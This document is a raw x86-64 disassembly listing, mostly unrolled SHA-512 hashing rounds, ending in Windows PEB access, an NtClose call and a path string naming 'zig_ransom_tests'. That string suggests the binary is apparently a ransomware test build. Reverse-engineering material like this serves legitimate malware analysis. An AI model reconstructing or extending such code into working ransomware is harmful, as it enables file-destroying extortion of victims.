add rcx, rdi
or r10, rbx
rorx rbx, rcx, 0x12
add r10, r14
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x4a0]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
rorx r14, r10, 0x1c
xor rbx, r14
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0x2e1b21385c26c926
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and r11, r8
and rbx, r10
add rdx, rdi
or r11, rbx
rorx rbx, rdx, 0x12
add r11, r14
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x4a8]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0x4d2c6dfc5ac42aed
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x4b0]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
rorx r14, rsi, 0x1c
xor rbx, r14
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0x53380d139d95b3df
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rax, r10
and rbx, rsi
add r9, rdi
or rax, rbx
rorx rbx, r9, 0x12
add rax, r14
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x4b8]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
rorx r14, rax, 0x1c
xor rbx, r14
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x650a73548baf63de
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rcx, r11
and rbx, rax
add r10, rdi
or rcx, rbx
rorx rbx, r10, 0x12
add rcx, r14
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x4c0]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
rorx r14, rcx, 0x1c
xor rbx, r14
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0x766a0abb3c77b2a8
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rdx, rsi
and rbx, rcx
add r11, rdi
or rdx, rbx
rorx rbx, r11, 0x12
add rdx, r14
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x4c8]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
rorx r14, rdx, 0x1c
xor rbx, r14
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x81c2c92e47edaee6
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and r8, rax
and rbx, rdx
add rsi, rdi
or r8, rbx
rorx rbx, rsi, 0x12
add r8, r14
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x4d0]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
rorx r14, r8, 0x1c
xor rbx, r14
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0x92722c851482353b
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and r9, rcx
and rbx, r8
add rax, rdi
or r9, rbx
rorx rbx, rax, 0x12
add r9, r14
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
rorx r15, r9, 0x1c
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x4d8]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
xor rbx, r15
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0xa2bfe8a14cf10364
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and rbx, r9
and r10, rdx
or r10, rbx
add rcx, rdi
add r10, r14
rorx rbx, rcx, 0x12
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
rorx r15, r10, 0x1c
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x4e0]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
xor rbx, r15
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0xa81a664bbc423001
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and rbx, r10
and r11, r8
or r11, rbx
add rdx, rdi
add r11, r14
rorx rbx, rdx, 0x12
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x4e8]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0xc24b8b70d0f89791
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
rorx r15, rsi, 0x1c
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x4f0]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
xor rbx, r15
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0xc76c51a30654be30
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rbx, rsi
and rax, r10
or rax, rbx
add r9, rdi
add rax, r14
rorx rbx, r9, 0x12
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
rorx r15, rax, 0x1c
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x4f8]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
xor rbx, r15
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0xd192e819d6ef5218
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rbx, rax
and rcx, r11
or rcx, rbx
add r10, rdi
add rcx, r14
rorx rbx, r10, 0x12
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
rorx r15, rcx, 0x1c
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x500]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
xor rbx, r15
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0xd69906245565a910
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rbx, rcx
and rdx, rsi
or rdx, rbx
add r11, rdi
add rdx, r14
rorx rbx, r11, 0x12
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
rorx r15, rdx, 0x1c
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x508]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
xor rbx, r15
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0xf40e35855771202a
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and rbx, rdx
and r8, rax
or r8, rbx
add rsi, rdi
add r8, r14
rorx rbx, rsi, 0x12
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
rorx r15, r8, 0x1c
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x510]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
xor rbx, r15
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0x106aa07032bbd1b8
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and rbx, r8
and r9, rcx
or r9, rbx
add rax, rdi
add r9, r14
rorx rbx, rax, 0x12
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x518]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
rorx r14, r9, 0x1c
xor rbx, r14
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0x19a4c116b8d2d0c8
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and r10, rdx
and rbx, r9
add rcx, rdi
or r10, rbx
rorx rbx, rcx, 0x12
add r10, r14
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x520]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
rorx r14, r10, 0x1c
xor rbx, r14
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0x1e376c085141ab53
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and r11, r8
and rbx, r10
add rdx, rdi
or r11, rbx
rorx rbx, rdx, 0x12
add r11, r14
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x528]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0x2748774cdf8eeb99
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x530]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
rorx r14, rsi, 0x1c
xor rbx, r14
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0x34b0bcb5e19b48a8
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rax, r10
and rbx, rsi
add r9, rdi
or rax, rbx
rorx rbx, r9, 0x12
add rax, r14
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x538]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
rorx r14, rax, 0x1c
xor rbx, r14
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x391c0cb3c5c95a63
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rcx, r11
and rbx, rax
add r10, rdi
or rcx, rbx
rorx rbx, r10, 0x12
add rcx, r14
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x540]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
rorx r14, rcx, 0x1c
xor rbx, r14
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0x4ed8aa4ae3418acb
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rdx, rsi
and rbx, rcx
add r11, rdi
or rdx, rbx
rorx rbx, r11, 0x12
add rdx, r14
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x548]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
rorx r14, rdx, 0x1c
xor rbx, r14
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0x5b9cca4f7763e373
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and r8, rax
and rbx, rdx
add rsi, rdi
or r8, rbx
rorx rbx, rsi, 0x12
add r8, r14
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x550]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
rorx r14, r8, 0x1c
xor rbx, r14
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0x682e6ff3d6b2b8a3
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and r9, rcx
and rbx, r8
add rax, rdi
or r9, rbx
rorx rbx, rax, 0x12
add r9, r14
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
rorx r15, r9, 0x1c
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x558]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
xor rbx, r15
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0x748f82ee5defb2fc
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and rbx, r9
and r10, rdx
or r10, rbx
add rcx, rdi
add r10, r14
rorx rbx, rcx, 0x12
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
rorx r15, r10, 0x1c
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x560]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
xor rbx, r15
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0x78a5636f43172f60
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and rbx, r10
and r11, r8
or r11, rbx
add rdx, rdi
add r11, r14
rorx rbx, rdx, 0x12
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x568]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0x84c87814a1f0ab72
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
rorx r15, rsi, 0x1c
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x570]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
xor rbx, r15
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0x8cc702081a6439ec
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rbx, rsi
and rax, r10
or rax, rbx
add r9, rdi
add rax, r14
rorx rbx, r9, 0x12
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
rorx r15, rax, 0x1c
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x578]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
xor rbx, r15
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x90befffa23631e28
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rbx, rax
and rcx, r11
or rcx, rbx
add r10, rdi
add rcx, r14
rorx rbx, r10, 0x12
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
rorx r15, rcx, 0x1c
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x580]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
xor rbx, r15
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0xa4506cebde82bde9
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rbx, rcx
and rdx, rsi
or rdx, rbx
add r11, rdi
add rdx, r14
rorx rbx, r11, 0x12
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
rorx r15, rdx, 0x1c
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x588]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
xor rbx, r15
rorx r14, rdx, 0x27
add r8, rdi
movabs rdi, 0xbef9a3f7b2c67915
xor r14, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
mov r8, rcx
and rbx, rdx
and r8, rax
or r8, rbx
add rsi, rdi
add r8, r14
rorx rbx, rsi, 0x12
mov r14, r11
and r14, rsi
add r8, rdi
rorx rdi, rsi, 0xe
xor rbx, rdi
rorx rdi, rsi, 0x29
rorx r15, r8, 0x1c
xor rdi, rbx
andn rbx, rsi, r10
add r10, qword [rsp + 0x590]
or r14, rbx
rorx rbx, r8, 0x22
add r9, r14
xor rbx, r15
rorx r14, r8, 0x27
add r9, rdi
movabs rdi, 0xc67178f2e372532b
xor r14, rbx
mov rbx, rdx
or rbx, rcx
add rdi, r9
mov r9, rdx
and rbx, r8
and r9, rcx
or r9, rbx
add rax, rdi
add r9, r14
rorx rbx, rax, 0x12
mov r14, rsi
and r14, rax
add r9, rdi
rorx rdi, rax, 0xe
xor rbx, rdi
rorx rdi, rax, 0x29
xor rdi, rbx
andn rbx, rax, r11
add r11, qword [rsp + 0x598]
or r14, rbx
rorx rbx, r9, 0x22
add r10, r14
rorx r14, r9, 0x1c
xor rbx, r14
rorx r14, r9, 0x27
add r10, rdi
movabs rdi, 0xca273eceea26619c
xor r14, rbx
mov rbx, r8
or rbx, rdx
add rdi, r10
mov r10, r8
and r10, rdx
and rbx, r9
add rcx, rdi
or r10, rbx
rorx rbx, rcx, 0x12
add r10, r14
mov r14, rax
and r14, rcx
add r10, rdi
rorx rdi, rcx, 0xe
xor rbx, rdi
rorx rdi, rcx, 0x29
xor rdi, rbx
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x5a0]
or r14, rbx
rorx rbx, r10, 0x22
add r11, r14
rorx r14, r10, 0x1c
xor rbx, r14
rorx r14, r10, 0x27
add r11, rdi
movabs rdi, 0xd186b8c721c0c207
xor r14, rbx
mov rbx, r9
or rbx, r8
add rdi, r11
mov r11, r9
and r11, r8
and rbx, r10
add rdx, rdi
or r11, rbx
rorx rbx, rdx, 0x12
add r11, r14
mov r14, rcx
and r14, rdx
add r11, rdi
rorx rdi, rdx, 0xe
xor rbx, rdi
rorx rdi, rdx, 0x29
xor rdi, rbx
andn rbx, rdx, rax
add rax, qword [rsp + 0x5a8]
or r14, rbx
rorx rbx, r11, 0x22
add rsi, r14
rorx r14, r11, 0x27
add rsi, rdi
movabs rdi, 0xeada7dd6cde0eb1e
add rdi, rsi
rorx rsi, r11, 0x1c
xor rbx, rsi
mov rsi, r10
and rsi, r9
add r8, rdi
xor r14, rbx
mov rbx, r10
or rbx, r9
and rbx, r11
or rsi, rbx
rorx rbx, r8, 0x12
add rsi, r14
mov r14, rdx
and r14, r8
add rsi, rdi
rorx rdi, r8, 0xe
xor rbx, rdi
rorx rdi, r8, 0x29
xor rdi, rbx
andn rbx, r8, rcx
add rcx, qword [rsp + 0x5b0]
or r14, rbx
rorx rbx, rsi, 0x22
add rax, r14
rorx r14, rsi, 0x1c
xor rbx, r14
rorx r14, rsi, 0x27
add rax, rdi
movabs rdi, 0xf57d4f7fee6ed178
xor r14, rbx
mov rbx, r11
or rbx, r10
add rdi, rax
mov rax, r11
and rax, r10
and rbx, rsi
add r9, rdi
or rax, rbx
rorx rbx, r9, 0x12
add rax, r14
mov r14, r8
and r14, r9
add rax, rdi
rorx rdi, r9, 0xe
xor rbx, rdi
rorx rdi, r9, 0x29
xor rdi, rbx
andn rbx, r9, rdx
add rdx, qword [rsp + 0x5b8]
or r14, rbx
rorx rbx, rax, 0x22
add rcx, r14
rorx r14, rax, 0x1c
xor rbx, r14
rorx r14, rax, 0x27
add rcx, rdi
movabs rdi, 0x6f067aa72176fba
xor r14, rbx
mov rbx, rsi
or rbx, r11
add rdi, rcx
mov rcx, rsi
and rcx, r11
and rbx, rax
add r10, rdi
or rcx, rbx
rorx rbx, r10, 0x12
add rcx, r14
mov r14, r9
and r14, r10
add rcx, rdi
rorx rdi, r10, 0xe
xor rbx, rdi
rorx rdi, r10, 0x29
mov r15, rcx
and r15, rax
xor rdi, rbx
andn rbx, r10, r8
add r8, qword [rsp + 0x5c0]
or r14, rbx
rorx rbx, rcx, 0x22
add rdx, r14
rorx r14, rcx, 0x1c
xor rbx, r14
rorx r14, rcx, 0x27
add rdx, rdi
movabs rdi, 0xa637dc5a2c898a6
xor r14, rbx
mov rbx, rax
or rbx, rsi
add rdi, rdx
mov rdx, rax
and rdx, rsi
and rbx, rcx
add r11, rdi
or rdx, rbx
rorx rbx, r11, 0x12
add rdx, r14
mov r14, r10
and r14, r11
add rdx, rdi
rorx rdi, r11, 0xe
xor rbx, rdi
rorx rdi, r11, 0x29
rorx r12, rdx, 0x27
xor rdi, rbx
andn rbx, r11, r9
add r9, qword [rsp + 0x5c8]
or r14, rbx
rorx rbx, rdx, 0x22
add r8, r14
rorx r14, rdx, 0x1c
xor rbx, r14
add r8, rdi
movabs rdi, 0x113f9804bef90dae
xor r12, rbx
mov rbx, rcx
or rbx, rax
add rdi, r8
and rbx, rdx
add rsi, rdi
or r15, rbx
rorx r8, rsi, 0xe
rorx r14, rsi, 0x29
mov rbx, r11
and rbx, rsi
add r15, r12
mov r12, rdx
or r12, rcx
add r15, rdi
rorx rdi, rsi, 0x12
xor rdi, r8
rorx r8, r15, 0x1c
and r12, r15
xor r14, rdi
andn rdi, rsi, r10
add r10, qword [rsp + 0x5d0]
or rbx, rdi
movabs rdi, 0x1b710b35131c471b
add r9, rbx
rorx rbx, r15, 0x27
add r9, r14
rorx r14, r15, 0x22
xor r14, r8
mov r8, rdx
and r8, rcx
add rdi, r9
xor rbx, r14
or r8, r12
add rax, rdi
add r8, rbx
rorx r9, rax, 0xe
rorx r14, rax, 0x29
mov rbx, rsi
and rbx, rax
add r8, rdi
rorx rdi, rax, 0x12
xor rdi, r9
rorx r12, r8, 0x27
movabs r9, 0x3c9ebe0a15c9bebc
xor r14, rdi
andn rdi, rax, r11
add r11, qword [rsp + 0x5d8]
or rbx, rdi
rorx rdi, r8, 0x22
add r10, rbx
rorx rbx, r8, 0x1c
add r10, r14
xor rdi, rbx
mov r14, r15
and r14, rdx
add r13, r10
xor r12, rdi
mov rdi, r15
or rdi, rdx
add rcx, r13
and rdi, r8
or r14, rdi
rorx rdi, rcx, 0xe
rorx r10, rcx, 0x12
andn rbx, rcx, rsi
add rsi, qword [rsp + 0x5e0]
xor r10, rdi
mov rdi, rax
and rdi, rcx
add r14, r12
rorx r12, rcx, 0x29
or rdi, rbx
xor r12, r10
add r14, r13
add r11, rdi
rorx r10, r14, 0x1c
rorx rbx, r14, 0x22
mov rdi, r8
or rdi, r15
rorx r13, r14, 0x27
add r11, r12
xor rbx, r10
mov r12, r8
and rdi, r14
and r12, r15
add rbp, r11
xor r13, rbx
or r12, rdi
add rdx, rbp
add r12, r13
rorx r11, rdx, 0xe
rorx r10, rdx, 0x12
andn rbx, rdx, rax
rorx rdi, rdx, 0x29
add r12, rbp
add rax, qword [rsp + 0x5e8]
mov rbp, r14
and rbp, r8
xor r10, r11
mov r11, rcx
and r11, rdx
or r11, rbx
xor rdi, r10
rorx r10, r12, 0x1c
rorx rbx, r12, 0x22
add rsi, r11
xor rbx, r10
add rsi, rdi
rorx rdi, r12, 0x27
add r9, rsi
mov rsi, r14
or rsi, r8
xor rdi, rbx
add r15, r9
and rsi, r12
or rbp, rsi
rorx r11, r15, 0xe
rorx r10, r15, 0x12
andn rsi, r15, rcx
add rcx, qword [rsp + 0x5f0]
add rbp, rdi
xor r10, r11
mov r11, rdx
and r11, r15
rorx rdi, r15, 0x29
add rbp, r9
or r11, rsi
xor rdi, r10
movabs rsi, 0x431d67c49c100d4c
add rax, r11
rorx r11, rbp, 0x1c
rorx r10, rbp, 0x22
rorx rbx, rbp, 0x27
mov r13, rbp
and r13, r12
add rax, rdi
xor r10, r11
mov r11, r12
or r11, r14
mov rdi, r12
and rdi, r14
add rsi, rax
and r11, rbp
xor rbx, r10
add r8, rsi
or rdi, r11
add rdi, rbx
rorx rax, r8, 0xe
rorx r10, r8, 0x12
andn r11, r8, rdx
add rdx, qword [rsp + 0x5f8]
add rdi, rsi
xor r10, rax
rorx rsi, r8, 0x29
movabs rax, 0x4cc5d4becb3e42b6
xor rsi, r10
mov r10, r15
and r10, r8
rorx r9, rdi, 0x22
or r10, r11
rorx r11, rdi, 0x27
add rcx, r10
rorx r10, rdi, 0x1c
add rcx, rsi
xor r9, r10
mov r10, rbp
or r10, r12
add rax, rcx
and r10, rdi
xor r11, r9
movabs rcx, 0x597f299cfc657e2a
add r14, rax
or r13, r10
rorx r10, r14, 0xe
rorx r9, r14, 0x12
add r13, r11
andn r11, r14, r15
rorx rsi, r14, 0x29
add r15, qword [rsp + 0x600]
xor r9, r10
mov r10, r8
and r10, r14
add r13, rax
or r10, r11
xor rsi, r9
mov r11, r14
rorx rax, r13, 0x1c
add rdx, r10
add rdx, rsi
mov rsi, rdi
or rsi, rbp
add rcx, rdx
mov rdx, rdi
and rdx, rbp
and rsi, r13
add r12, rcx
or rsi, rdx
mov rdx, r13
or rdx, rdi
and rdi, r13
andn rbx, r12, r8
and r11, r12
rorx r9, r12, 0xe
rorx r10, r12, 0x12
or r11, rbx
rorx rbx, r13, 0x22
xor r10, r9
rorx r9, r12, 0x29
add r15, r11
xor rbx, rax
rorx r11, r13, 0x27
xor r9, r10
movabs r10, 0x5fcb6fab3ad6faec
xor r11, rbx
add r15, r9
add rsi, r11
add r10, r15
add rsi, rcx
mov qword [rsp + 0x90], r10
rorx rax, rsi, 0x1c
rorx rcx, rsi, 0x22
and rdx, rsi
rorx r9, rsi, 0x27
mov rbx, rsi
or rbx, r13
xor rcx, rax
or rdi, rdx
mov rax, rsi
and rax, r13
lea rdx, [rsp + 0x110]
xor r9, rcx
lea rcx, [0x00451631]
add rdi, r9
mov r9d, 0x3f
add rdi, r10
and rbx, rdi
or rbx, rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
add rbx, r8
add rbx, qword [rsp + 0x608]
lea r8, str._mnt_07278d6f_dcd5_4540_ae3f_dc7f08c050e4_Dev_zig_ransom_tests_
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x390]
mov qword [rsp + 0x110], rax
vzeroupper
call fcn.00401070
movzx r15d, word [rsp + 0x398]
test r15w, r15w
jne 0x406d75
vmovdqu xmm0, xmmword [0x00451748]
mov qword [rsp + 0x1e0], rbx
mov rbx, qword [rsp + 0x390]
lea rcx, [rsp + 0x398]
mov r8d, 0x410
xor edx, edx
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x120], 0
vmovdqa xmmword [rsp + 0x110], xmm0
call fcn.0044c710
lea rdx, [0x004516c8]
lea rcx, [rsp + 0x110]
lea r8, [rsp + 0x390]
mov qword [rsp + 0x390], rbx
mov byte [rsp + 0x7a8], 1
mov qword [rsp + 0xaa8], 0
call fcn.00401300
test ax, ax
je 0x4055a9
mov r15d, eax
mov rcx, rbx
call sub.ntdll.dll_NtClose
test eax, eax
je 0x406d75
jmp 0x406d54
vmovaps xmm0, xmmword [rsp + 0x110]
mov rax, qword [rsp + 0x120]
movabs rcx, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x260], rax
vmovaps xmmword [rsp + 0x250], xmm0
vmovups xmm0, xmmword [0x00451760]
mov qword [rsp + 0x278], 0
vmovups xmmword [rsp + 0x268], xmm0
vmovups xmm0, xmmword [0x004516c8]
vmovaps xmmword [rsp + 0x280], xmm0
vmovups xmm0, xmmword [rsp + 0x250]
